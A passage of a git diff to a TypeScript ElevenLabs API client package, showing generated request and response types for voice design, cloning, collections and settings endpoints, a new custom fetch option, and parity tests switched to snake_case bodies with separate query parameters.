guidance_scale?: number + /** + * @description Whether to enhance the voice description using AI to add more detail and improve voice generation quality. When enabled, the system will automatically expand simple prompts into more detailed voice descriptions. Defaults to False + * @default false + * @example true + * @type boolean | undefined + */ + should_enhance?: boolean +} + +export type ElevenlabsPostV1TextToVoiceCreatePreviewsOptions = { + body: ElevenlabsPostV1TextToVoiceCreatePreviewsBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToVoiceCreatePreviewsResponses = { + '200': ElevenlabsPostV1TextToVoiceCreatePreviewsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToVoiceCreatePreviewsResponse = + ElevenlabsPostV1TextToVoiceCreatePreviewsStatus200 + +export type ElevenlabsPostV1TextToVoiceDesignStatus200 = { + /** + * @description The previews of the generated voices. + * @type array + */ + previews: VoicePreviewResponseModel[] + /** + * @description The text used to preview the voices. + * @type string + */ + text: string +} + +export const elevenlabsPostV1TextToVoiceDesignRequestModelIdEnum = { + eleven_multilingual_ttv_v2: 'eleven_multilingual_ttv_v2', + eleven_ttv_v3: 'eleven_ttv_v3', +} as const + +export type ElevenlabsPostV1TextToVoiceDesignRequestModelIdEnumKey = + (typeof elevenlabsPostV1TextToVoiceDesignRequestModelIdEnum)[keyof typeof elevenlabsPostV1TextToVoiceDesignRequestModelIdEnum] + +export type ElevenlabsPostV1TextToVoiceDesignBody = { + /** + * @description Description to use for the created voice. + * @minLength 20 + * @maxLength 1000 + * @example A sassy squeaky mouse + * @type string + */ + voice_description: string + /** + * @description Model to use for the voice generation. Possible values: eleven_multilingual_ttv_v2, eleven_ttv_v3. + * @default 'eleven_multilingual_ttv_v2' + * @example eleven_multilingual_ttv_v2 + * @type string | undefined + */ + model_id?: ElevenlabsPostV1TextToVoiceDesignRequestModelIdEnumKey + /** + * @description Text to generate, text length has to be between 100 and 1000. + * @example Every act of kindness, no matter how small, carries value and can make a difference, as no gesture of goodwill is ever wasted. + */ + text?: string | null + /** + * @description Whether to automatically generate a text suitable for the voice description. + * @default false + * @type boolean | undefined + */ + auto_generate_text?: boolean + /** + * @description Controls the volume level of the generated voice. -1 is quietest, 1 is loudest, 0 corresponds to roughly -24 LUFS. + * @minimum -1 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + loudness?: number + /** + * @description Random number that controls the voice generation. Same seed with same inputs produces same voice. + * @example 11 + */ + seed?: number | null + /** + * @description Controls how closely the AI follows the prompt. Lower numbers give the AI more freedom to be creative, while higher numbers force it to stick more to the prompt. High numbers can cause voice to sound artificial or robotic. We recommend to use longer, more detailed prompts at lower Guidance Scale. + * @minimum 0 + * @maximum 100 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Determines whether the Text to Voice previews should be included in the response. If true, only the generated IDs will be returned which can then be streamed via the /v1/text-to-voice/:generated_voice_id/stream endpoint. + * @default false + * @example true + * @type boolean | undefined + */ + stream_previews?: boolean + /** + * @description Whether to enhance the voice description using AI to add more detail and improve voice generation quality. When enabled, the system will automatically expand simple prompts into more detailed voice descriptions. Defaults to False + * @default false + * @example true + * @type boolean | undefined + */ + should_enhance?: boolean + /** + * @description The remixing session id. + * @example 123 + */ + remixing_session_id?: string | null + /** + * @description The id of the remixing session iteration where these generations should be attached to. If not provided, a new iteration will be created. + * @example 123 + */ + remixing_session_iteration_id?: string | null + /** + * @description Higher quality results in better voice output but less variety. + * @example 0.9 + */ + quality?: number | null + /** + * @description Reference audio to use for the voice generation. The audio should be base64 encoded. Only supported when using the eleven_ttv_v3 model. + */ + reference_audio_base64?: string | null + /** + * @description Controls the balance of prompt versus reference audio when generating voice samples. 0 means almost no prompt influence, 1 means almost no reference audio influence. Only supported when using the eleven_ttv_v3 model. + * @example 0.25 + */ + prompt_strength?: number | null +} + +export type ElevenlabsPostV1TextToVoiceDesignOptions = { + body: ElevenlabsPostV1TextToVoiceDesignBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToVoiceDesignResponses = { + '200': ElevenlabsPostV1TextToVoiceDesignStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToVoiceDesignResponse = + ElevenlabsPostV1TextToVoiceDesignStatus200 + +export type ElevenlabsPostV1TextToVoiceVoiceIdRemixPath = { + voice_id: string +} + +export type ElevenlabsPostV1TextToVoiceVoiceIdRemixStatus200 = { + /** + * @description The previews of the generated voices. + * @type array + */ + previews: VoicePreviewResponseModel[] + /** + * @description The text used to preview the voices. + * @type string + */ + text: string +} + +export type ElevenlabsPostV1TextToVoiceVoiceIdRemixBody = { + /** + * @description Description of the changes to make to the voice. + * @minLength 5 + * @maxLength 1000 + * @example Make the voice have a higher pitch. + * @type string + */ + voice_description: string + /** + * @description Text to generate, text length has to be between 100 and 1000. + * @example Every act of kindness, no matter how small, carries value and can make a difference, as no gesture of goodwill is ever wasted. + */ + text?: string | null + /** + * @description Whether to automatically generate a text suitable for the voice description. + * @default false + * @type boolean | undefined + */ + auto_generate_text?: boolean + /** + * @description Controls the volume level of the generated voice. -1 is quietest, 1 is loudest, 0 corresponds to roughly -24 LUFS. + * @minimum -1 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + loudness?: number + /** + * @description Random number that controls the voice generation. Same seed with same inputs produces same voice. + * @example 11 + */ + seed?: number | null + /** + * @description Controls how closely the AI follows the prompt. Lower numbers give the AI more freedom to be creative, while higher numbers force it to stick more to the prompt. High numbers can cause voice to sound artificial or robotic. We recommend to use longer, more detailed prompts at lower Guidance Scale. + * @minimum 0 + * @maximum 100 + * @default 2 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Determines whether the Text to Voice previews should be included in the response. If true, only the generated IDs will be returned which can then be streamed via the /v1/text-to-voice/:generated_voice_id/stream endpoint. + * @default false + * @example true + * @type boolean | undefined + */ + stream_previews?: boolean + /** + * @description The remixing session id. + * @example 123 + */ + remixing_session_id?: string | null + /** + * @description The id of the remixing session iteration where these generations should be attached to. If not provided, a new iteration will be created. + * @example 123 + */ + remixing_session_iteration_id?: string | null + /** + * @description Controls the balance of prompt versus reference audio when generating voice samples. 0 means almost no prompt influence, 1 means almost no reference audio influence. Only supported when using the eleven_ttv_v3 model. + * @example 0.25 + */ + prompt_strength?: number | null +} + +export type ElevenlabsPostV1TextToVoiceVoiceIdRemixOptions = { + body: ElevenlabsPostV1TextToVoiceVoiceIdRemixBody + path: ElevenlabsPostV1TextToVoiceVoiceIdRemixPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToVoiceVoiceIdRemixResponses = { + '200': ElevenlabsPostV1TextToVoiceVoiceIdRemixStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToVoiceVoiceIdRemixResponse = + ElevenlabsPostV1TextToVoiceVoiceIdRemixStatus200 + +/** + * @example {"requires_verification":false,"voice_id":"c38kUX8pkfYO2kHyqfFy"} + * @type object + */ +export type ElevenlabsPostV1VoicesAddStatus200 = { + /** + * @description The ID of the newly created voice. + * @type string + */ + voice_id: string + /** + * @description Whether the voice requires verification + * @type boolean + */ + requires_verification: boolean + /** + * @description Set when the samples match a protected voice that is available in the Voice Library. The new voice requires verification before use; adding the library voice is the alternative. + */ + library_voice_match?: LibraryVoiceMatchResponseModel | null +} + +export type ElevenlabsPostV1VoicesAddBody = { + /** + * @description The name that identifies this voice. This will be displayed in the dropdown of the website. + * @example John Smith + * @type string + */ + name: string + /** + * @description A list of file paths to audio recordings intended for voice cloning. + * @type array + */ + files: Blob[] + /** + * @description If set will remove background noise for voice samples using our audio isolation model. If the samples do not include background noise, it can make the quality worse. + * @default false + * @example true + * @type boolean | undefined + */ + remove_background_noise?: boolean + /** + * @description A description of the voice. + * @example An old American male voice with a slight hoarseness in his throat. Perfect for news. + */ + description?: string | null + /** + * @description Labels for the voice. Keys can be language, accent, gender, or age. + * @example {"language": "en", "accent": "en-US", "gender": "male", "age": "middle-aged"} + */ + labels?: + | { + [key: string]: string + } + | string + | null +} + +export type ElevenlabsPostV1VoicesAddOptions = { + body: ElevenlabsPostV1VoicesAddBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1VoicesAddResponses = { + '200': ElevenlabsPostV1VoicesAddStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1VoicesAddResponse = + ElevenlabsPostV1VoicesAddStatus200 + +export type ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdPath = { + public_user_id: string + voice_id: string +} + +/** + * @example {"voice_id":"b38kUX8pkfYO2kHyqfFy"} + * @type object + */ +export type ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdStatus200 = { + /** + * @description The ID of the voice. + * @type string + */ + voice_id: string +} + +export type ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdBody = { + /** + * @description The name that identifies this voice. This will be displayed in the dropdown of the website. + * @example John Smith + * @type string + */ + new_name: string + /** + * @default true + * @type boolean | undefined + */ + bookmarked?: boolean +} + +export type ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdOptions = { + body: ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdBody + path: ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdResponses = { + '200': ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdResponse = + ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdStatus200 + +export const elevenlabsPostV1VoicesCollectionsStatus200PermissionOnResourceEnum = + { + admin: 'admin', + editor: 'editor', + commenter: 'commenter', + viewer: 'viewer', + } as const + +export type ElevenlabsPostV1VoicesCollectionsStatus200PermissionOnResourceEnumKey = + (typeof elevenlabsPostV1VoicesCollectionsStatus200PermissionOnResourceEnum)[keyof typeof elevenlabsPostV1VoicesCollectionsStatus200PermissionOnResourceEnum] + +export type ElevenlabsPostV1VoicesCollectionsStatus200 = { + /** + * @description The ID of the voice collection. + * @type string + */ + collection_id: string + /** + * @description The title of the voice collection. + * @type string + */ + title: string + /** + * @description The icon of the voice collection. + * @type string + */ + icon: string + /** + * @description The caller's access role on the voice collection. + * @type string + */ + permission_on_resource: ElevenlabsPostV1VoicesCollectionsStatus200PermissionOnResourceEnumKey +} + +export type ElevenlabsPostV1VoicesCollectionsBody = { + /** + * @description Title of the collection to create/update. + * @maxLength 1000 + * @type string + */ + title: string + /** + * @description Icon of the collection to create/update. + * @maxLength 1000 + * @type string + */ + icon: string +} + +export type ElevenlabsPostV1VoicesCollectionsOptions = { + body: ElevenlabsPostV1VoicesCollectionsBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1VoicesCollectionsResponses = { + '200': ElevenlabsPostV1VoicesCollectionsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1VoicesCollectionsResponse = + ElevenlabsPostV1VoicesCollectionsStatus200 + +export type ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdPath = { + collection_id: string + voice_id: string +} + +export type ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdStatus200 = + { + /** + * @description The ID of the voice collection. + * @type string + */ + collection_id: string + /** + * @description The ID of the voice that was added. + * @type string + */ + voice_id: string + } + +export type ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdOptions = { + body?: never + path: ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdResponses = + { + '200': ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdStatus200 + } + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdResponse = + ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdStatus200 + +export type ElevenlabsPostV1VoicesVoiceIdEditPath = { + voice_id: string +} + +/** + * @example {"status":"ok"} + * @type object + */ +export type ElevenlabsPostV1VoicesVoiceIdEditStatus200 = { + /** + * @description The status of the voice edit request. If the request was successful, the status will be 'ok'. Otherwise an error message with status 500 will be returned. + * @type string + */ + status: string +} + +export type ElevenlabsPostV1VoicesVoiceIdEditBody = { + /** + * @description The name that identifies this voice. This will be displayed in the dropdown of the website. + * @example John Smith + * @type string + */ + name: string + /** + * @description Audio files to add to the voice + * @type array | undefined + */ + files?: Blob[] + /** + * @description If set will remove background noise for voice samples using our audio isolation model. If the samples do not include background noise, it can make the quality worse. + * @default false + * @example true + * @type boolean | undefined + */ + remove_background_noise?: boolean + /** + * @description A description of the voice. + * @example An old American male voice with a slight hoarseness in his throat. Perfect for news. + */ + description?: string | null + /** + * @description Labels for the voice. Keys can be language, accent, gender, or age. + * @example {"language": "en", "accent": "en-US", "gender": "male", "age": "middle-aged"} + */ + labels?: + | { + [key: string]: string + } + | string + | null + /** + * @description Run synchronous LLM moderation over the voice name and description when they change. Has no effect unless the voice_library_metadata_moderation feature flag is enabled for the user. + * @default false + * @type boolean | undefined + */ + moderate_metadata?: boolean +} + +export type ElevenlabsPostV1VoicesVoiceIdEditOptions = { + body: ElevenlabsPostV1VoicesVoiceIdEditBody + path: ElevenlabsPostV1VoicesVoiceIdEditPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1VoicesVoiceIdEditResponses = { + '200': ElevenlabsPostV1VoicesVoiceIdEditStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1VoicesVoiceIdEditResponse = + ElevenlabsPostV1VoicesVoiceIdEditStatus200 + +export type ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentPath = { + voice_id: string +} + +/** + * @example {"voice_id":"21m00Tcm4TlvDq8ikWAM"} + * @type object + */ +export type ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentStatus200 = + { + /** + * @description Voice ID of the replicated voice in the target residency. + * @type string + */ + voice_id: string + } + +export type ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentBody = { + /** + * @description ID of the workspace to replicate the voice into. It must belong to the same consolidated billing group as the calling workspace; the target's data residency is derived from that link. + * @type string + */ + target_workspace_id: string + /** + * @description When true (default) the replicated voice keeps the same voice ID in the target residency; set to false to assign a new voice ID. + * @default true + * @type boolean | undefined + */ + preserve_voice_id?: boolean +} + +export type ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentOptions = + { + body: ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentBody + path: ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentPath + query?: never + headers?: never + } + +export type ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentResponses = + { + '200': ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentStatus200 + } + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentResponse = + ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentStatus200 + +export type ElevenlabsPostV1VoicesVoiceIdSettingsEditPath = { + voice_id: string +} + +/** + * @example {"status":"ok"} + * @type object + */ +export type ElevenlabsPostV1VoicesVoiceIdSettingsEditStatus200 = { + /** + * @description The status of the voice settings edit request. If the request was successful, the status will be 'ok'. Otherwise an error message with status 500 will be returned. + * @type string + */ + status: string +} + +/** + * @example {"similarity_boost":1,"speed":1,"stability":1,"style":0,"use_speaker_boost":true} + * @type object + */ +export type ElevenlabsPostV1VoicesVoiceIdSettingsEditBody = { + /** + * @description Determines how stable the voice is and the randomness between each generation. Lower values introduce broader emotional range for the voice. Higher values can result in a monotonous voice with limited emotion. + * @default 0.5 + */ + stability?: number | null + /** + * @description This setting boosts the similarity to the original speaker. Using this setting requires a slightly higher computational load, which in turn increases latency. + * @default true + */ + use_speaker_boost?: boolean | null + /** + * @description Determines how closely the AI should adhere to the original voice when attempting to replicate it. + * @default 0.75 + */ + similarity_boost?: number | null + /** + * @description Determines the style exaggeration of the voice. This setting attempts to amplify the style of the original speaker. It does consume additional computational resources and might increase latency if set to anything other than 0. + * @default 0 + */ + style?: number | null + /** + * @description Adjusts the speed of the voice. A value of 1.0 is the default speed, while values less than 1.0 slow down the speech, and values greater than 1.0 speed it up. + * @default 1 + */ + speed?: number | null + /** + * @description Controls how closely the output matches your professional voice clone samples (0–1). Lower values sound more versatile, while higher values preserve more of the original voice characteristics. We recommend 0 for most use cases, but if you do run into issues 0.5 could be a good fallback. Applies only to professional voice clones fine-tuned for the selected v4 model. + */ + clone_strength?: number | null +} + +export type ElevenlabsPostV1VoicesVoiceIdSettingsEditOptions = { + body: ElevenlabsPostV1VoicesVoiceIdSettingsEditBody + path: ElevenlabsPostV1VoicesVoiceIdSettingsEditPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1VoicesVoiceIdSettingsEditResponses = { + '200': ElevenlabsPostV1VoicesVoiceIdSettingsEditStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1VoicesVoiceIdSettingsEditResponse = + ElevenlabsPostV1VoicesVoiceIdSettingsEditStatus200 diff --git a/packages/ai-elevenlabs/src/utils/client.ts b/packages/ai-elevenlabs/src/utils/client.ts index 4be1d59638..1bd299c651 100644 --- a/packages/ai-elevenlabs/src/utils/client.ts +++ b/packages/ai-elevenlabs/src/utils/client.ts @@ -30,6 +30,8 @@ export interface ElevenLabsClientConfig { defaultHeaders?: Record /** Alias of `defaultHeaders`. */ headers?: Record + /** A custom fetch implementation, like the SDK `fetch` option. */ + fetch?: typeof fetch } interface EnvObject { diff --git a/packages/ai-elevenlabs/tests/audio-adapter.test.ts b/packages/ai-elevenlabs/tests/audio-adapter.test.ts index 12a2475630..ffda093d99 100644 --- a/packages/ai-elevenlabs/tests/audio-adapter.test.ts +++ b/packages/ai-elevenlabs/tests/audio-adapter.test.ts @@ -53,7 +53,7 @@ describe('elevenlabsAudio adapter — music', () => { }) expect(sfxConvertMock).not.toHaveBeenCalled() - expect(composeMock.mock.calls[0]![0]).toMatchObject({ modelId: model }) + expect(composeMock.mock.calls[0]![0]).toMatchObject({ model_id: model }) }, ) @@ -71,9 +71,9 @@ describe('elevenlabsAudio adapter — music', () => { expect(sfxConvertMock).not.toHaveBeenCalled() expect(composeMock).toHaveBeenCalledTimes(1) expect(composeMock.mock.calls[0]![0]).toMatchObject({ - modelId: 'music_v1', + model_id: 'music_v1', prompt: 'jazz trio', - musicLengthMs: 15000, + music_length_ms: 15000, }) expect(result.audio.b64Json).toBe(Buffer.from([1, 2]).toString('base64')) }) @@ -103,13 +103,13 @@ describe('elevenlabsAudio adapter — music', () => { const body = composeMock.mock.calls[0]![0] expect(body.prompt).toBeUndefined() - expect(body.musicLengthMs).toBeUndefined() - expect(body.compositionPlan).toMatchObject({ - positiveGlobalStyles: ['jazz'], + expect(body.music_length_ms).toBeUndefined() + expect(body.composition_plan).toMatchObject({ + positive_global_styles: ['jazz'], sections: [ expect.objectContaining({ - sectionName: 'verse', - durationMs: 8000, + section_name: 'verse', + duration_ms: 8000, lines: ['hello'], }), ], @@ -141,9 +141,9 @@ describe('elevenlabsAudio adapter — sound effects', () => { expect(sfxConvertMock).toHaveBeenCalledTimes(1) expect(sfxConvertMock.mock.calls[0]![0]).toMatchObject({ text: 'glass breaking', - modelId: 'eleven_text_to_sound_v2', - durationSeconds: 3, - promptInfluence: 0.7, + model_id: 'eleven_text_to_sound_v2', + duration_seconds: 3, + prompt_influence: 0.7, loop: true, }) expect(result.audio.b64Json).toBe(Buffer.from([9]).toString('base64')) diff --git a/packages/ai-elevenlabs/tests/client-parity.test.ts b/packages/ai-elevenlabs/tests/client-parity.test.ts index 834d56ca95..ccb5bc3125 100644 --- a/packages/ai-elevenlabs/tests/client-parity.test.ts +++ b/packages/ai-elevenlabs/tests/client-parity.test.ts @@ -1,8 +1,11 @@ import { afterEach, describe, expect, it, vi } from 'vitest' import { ElevenLabsClient as SdkClient } from '@elevenlabs/elevenlabs-js' import { createElevenLabsClient } from '../src/client' -import type { ElevenLabs } from '@elevenlabs/elevenlabs-js' -import type { ElevenLabsClient } from '../src/client' +import type { ElevenLabsClient, ElevenLabsQuery } from '../src/client' +import type { + ElevenlabsPostV1TextToDialogueBody, + ElevenlabsPostV1TextToSpeechVoiceIdBody, +} from '../src/generated/client/types' import type { ElevenLabsClientConfig } from '../src/utils/client' // The real SDK is the oracle: each test runs it and our client on the same @@ -113,6 +116,86 @@ async function runOn( const API_KEY = 'test-key' +// `labels` holds user keys, so the SDK sends them as they are. +function camel(value: unknown): unknown { + if (Array.isArray(value)) return value.map(camel) + if (value === null || typeof value !== 'object' || value instanceof Blob) { + return value + } + return Object.fromEntries( + Object.entries(value).map(([key, item]) => [ + key.replace(/_([a-z0-9])/g, (_, c: string) => c.toUpperCase()), + key === 'labels' ? item : camel(item), + ]), + ) +} + +/** + * The real SDK behind our client's method shapes: it merges our snake_case + * body and query into the SDK's camelCase request. + */ +function sdkAsOurs(sdk: SdkClient): ElevenLabsClient { + type Sdk = Parameters[2] + // ponytail: `any` stands in for each SDK request type; the parity + // assertions check what the SDK actually sends. + // oxlint-disable-next-line typescript/no-explicit-any + const req = (body: object, query: ElevenLabsQuery = {}): any => + camel({ ...body, ...query }) + const adapted = { + textToSpeech: { + convert: ( + voiceId: string, + body: object, + query?: ElevenLabsQuery, + options?: Sdk, + ) => sdk.textToSpeech.convert(voiceId, req(body, query), options), + convertWithTimestamps: ( + voiceId: string, + body: object, + query?: ElevenLabsQuery, + options?: Sdk, + ) => + sdk.textToSpeech.convertWithTimestamps( + voiceId, + req(body, query), + options, + ), + }, + textToDialogue: { + convert: (body: object, query?: ElevenLabsQuery, options?: Sdk) => + sdk.textToDialogue.convert(req(body, query), options), + convertWithTimestamps: ( + body: object, + query?: ElevenLabsQuery, + options?: Sdk, + ) => sdk.textToDialogue.convertWithTimestamps(req(body, query), options), + }, + voices: sdk.voices, + music: { + compose: (body: object, query?: ElevenLabsQuery, options?: Sdk) => + sdk.music.compose(req(body, query), options), + }, + textToSoundEffects: { + convert: (body: object, query?: ElevenLabsQuery, options?: Sdk) => + sdk.textToSoundEffects.convert(req(body, query), options), + }, + speechToText: { + convert: (body: object, query?: ElevenLabsQuery, options?: Sdk) => + sdk.speechToText.convert(req(body, query), options), + }, + textToVoice: { + design: (body: object, query?: ElevenLabsQuery, options?: Sdk) => + sdk.textToVoice.design(req(body, query), options), + create: (body: object, options?: Sdk) => + sdk.textToVoice.create(req(body), options), + }, + conversationalAi: sdk.conversationalAi, + } + // The one cast: the SDK returns `HttpResponsePromise`s and wider types + // than our client, and the parity tests compare the settled values. + return adapted as unknown as ElevenLabsClient +} + /** Runs `run` on the real SDK and on our client, and returns both. */ async function both( run: Run, @@ -120,7 +203,7 @@ async function both( config: ElevenLabsClientConfig = {}, options: { advanceTimers?: boolean } = {}, ) { - const sdk: ElevenLabsClient = new SdkClient({ + const sdkClient = new SdkClient({ apiKey: API_KEY, ...(config.baseURL ? { baseUrl: config.baseURL } : {}), ...(config.timeoutInSeconds != null && { @@ -129,6 +212,7 @@ async function both( ...(config.maxRetries != null && { maxRetries: config.maxRetries }), ...(config.defaultHeaders ? { headers: config.defaultHeaders } : {}), }) + const sdk = sdkAsOurs(sdkClient) const ours = createElevenLabsClient({ apiKey: API_KEY, ...config }) return { sdk: await runOn(sdk, run, respond, options), @@ -158,45 +242,48 @@ const alignment = { character_end_times_seconds: [0.1, 0.2], } -const dialogue: ElevenLabs.BodyTextToDialogueFullWithTimestamps = { - modelId: 'eleven_v3', +const dialogue = { + model_id: 'eleven_v3', inputs: [ - { text: 'Hi', voiceId: 'v1' }, - { text: 'Yo', voiceId: 'v2' }, + { text: 'Hi', voice_id: 'v1' }, + { text: 'Yo', voice_id: 'v2' }, ], settings: { stability: 0.5 }, - languageCode: 'en', + language_code: 'en', seed: 7, - applyTextNormalization: 'on', - outputFormat: 'mp3_44100_128', -} + apply_text_normalization: 'on', +} satisfies ElevenlabsPostV1TextToDialogueBody +const dialogueQuery: ElevenLabsQuery = { output_format: 'mp3_44100_128' } -const speech: ElevenLabs.BodyTextToSpeechFull = { +const speech = { text: 'Hello there', - modelId: 'eleven_multilingual_v2', - voiceSettings: { + model_id: 'eleven_multilingual_v2', + voice_settings: { stability: 0.4, - similarityBoost: 0.7, + similarity_boost: 0.7, style: 0.1, speed: 1.1, - useSpeakerBoost: true, + use_speaker_boost: true, }, - previousText: 'Before.', - nextText: 'After.', - previousRequestIds: ['req-a'], - nextRequestIds: ['req-b'], - applyLanguageTextNormalization: true, - applyTextNormalization: 'auto', - languageCode: 'en', + previous_text: 'Before.', + next_text: 'After.', + previous_request_ids: ['req-a'], + next_request_ids: ['req-b'], + apply_language_text_normalization: true, + apply_text_normalization: 'auto', + language_code: 'en', seed: 1, - outputFormat: 'pcm_44100', - enableLogging: false, +} satisfies ElevenlabsPostV1TextToSpeechVoiceIdBody +const speechQuery: ElevenLabsQuery = { + output_format: 'pcm_44100', + enable_logging: false, } describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { it('textToDialogue.convertWithTimestamps', async () => { const sdk = await expectParity( - (client) => client.textToDialogue.convertWithTimestamps(dialogue), + (client) => + client.textToDialogue.convertWithTimestamps(dialogue, dialogueQuery), json({ audio_base64: 'AAAA', alignment, @@ -220,7 +307,7 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { it('textToDialogue.convert', async () => { await expectParity( - (client) => client.textToDialogue.convert(dialogue), + (client) => client.textToDialogue.convert(dialogue, dialogueQuery), audio, ) }) @@ -228,7 +315,11 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { it('textToSpeech.convertWithTimestamps', async () => { await expectParity( (client) => - client.textToSpeech.convertWithTimestamps('voice 1/x', speech), + client.textToSpeech.convertWithTimestamps( + 'voice 1/x', + speech, + speechQuery, + ), json({ audio_base64: 'AAAA', alignment, normalized_alignment: null }), ) }) @@ -236,9 +327,9 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { it('textToSpeech.convert', async () => { const sdk = await expectParity( (client) => - client.textToSpeech.convert('voice-1', { - ...speech, - optimizeStreamingLatency: 2, + client.textToSpeech.convert('voice-1', speech, { + ...speechQuery, + optimize_streaming_latency: 2, }), audio, ) @@ -267,26 +358,28 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { it('music.compose with a composition plan', async () => { await expectParity( (client) => - client.music.compose({ - modelId: 'music_v1', - compositionPlan: { - positiveGlobalStyles: ['rock'], - negativeGlobalStyles: [], - sections: [ - { - sectionName: 'Intro', - positiveLocalStyles: ['guitar'], - negativeLocalStyles: [], - durationMs: 10000, - lines: ['la la'], - }, - ], + client.music.compose( + { + model_id: 'music_v1', + composition_plan: { + positive_global_styles: ['rock'], + negative_global_styles: [], + sections: [ + { + section_name: 'Intro', + positive_local_styles: ['guitar'], + negative_local_styles: [], + duration_ms: 10000, + lines: ['la la'], + }, + ], + }, + seed: 4, + force_instrumental: true, + respect_sections_durations: true, }, - outputFormat: 'mp3_44100_128', - seed: 4, - forceInstrumental: true, - respectSectionsDurations: true, - }), + { output_format: 'mp3_44100_128' }, + ), audio, ) }) @@ -295,9 +388,9 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { await expectParity( (client) => client.music.compose({ - modelId: 'music_v1', + model_id: 'music_v1', prompt: 'calm piano', - musicLengthMs: 30000, + music_length_ms: 30000, }), audio, ) @@ -306,14 +399,16 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { it('textToSoundEffects.convert', async () => { await expectParity( (client) => - client.textToSoundEffects.convert({ - text: 'glass shattering', - modelId: 'eleven_text_to_sound_v2', - durationSeconds: 3, - promptInfluence: 0.3, - loop: true, - outputFormat: 'mp3_44100_128', - }), + client.textToSoundEffects.convert( + { + text: 'glass shattering', + model_id: 'eleven_text_to_sound_v2', + duration_seconds: 3, + prompt_influence: 0.3, + loop: true, + }, + { output_format: 'mp3_44100_128' }, + ), audio, ) }) @@ -321,27 +416,31 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { it('speechToText.convert with a file and every option', async () => { await expectParity( (client) => - client.speechToText.convert({ - modelId: 'scribe_v1', - file: new Blob([new Uint8Array([9, 8, 7])], { type: 'audio/mpeg' }), - languageCode: 'en', - tagAudioEvents: true, - numSpeakers: 2, - timestampsGranularity: 'word', - diarize: true, - diarizationThreshold: 0.3, - detectSpeakerRoles: false, - keyterms: ['TanStack', 'adapter'], - entityDetection: ['pii', 'phi'], - entityRedaction: ['pii'], - entityRedactionMode: 'redacted', - noVerbatim: true, - temperature: 0.2, - seed: 3, - enableLogging: false, - useMultiChannel: false, - fileFormat: 'other', - }), + client.speechToText.convert( + { + model_id: 'scribe_v1', + file: new Blob([new Uint8Array([9, 8, 7])], { + type: 'audio/mpeg', + }), + language_code: 'en', + tag_audio_events: true, + num_speakers: 2, + timestamps_granularity: 'word', + diarize: true, + diarization_threshold: 0.3, + detect_speaker_roles: false, + keyterms: ['TanStack', 'adapter'], + entity_detection: ['pii', 'phi'], + entity_redaction: ['pii'], + entity_redaction_mode: 'redacted', + no_verbatim: true, + temperature: 0.2, + seed: 3, + use_multi_channel: false, + file_format: 'other', + }, + { enable_logging: false }, + ), json({ language_code: 'en', language_probability: 0.98, @@ -360,14 +459,13 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { ) }) - it('speechToText.convert with a URL and a string entity filter', async () => { - const sdk = await expectParity( + it('speechToText.convert with a URL', async 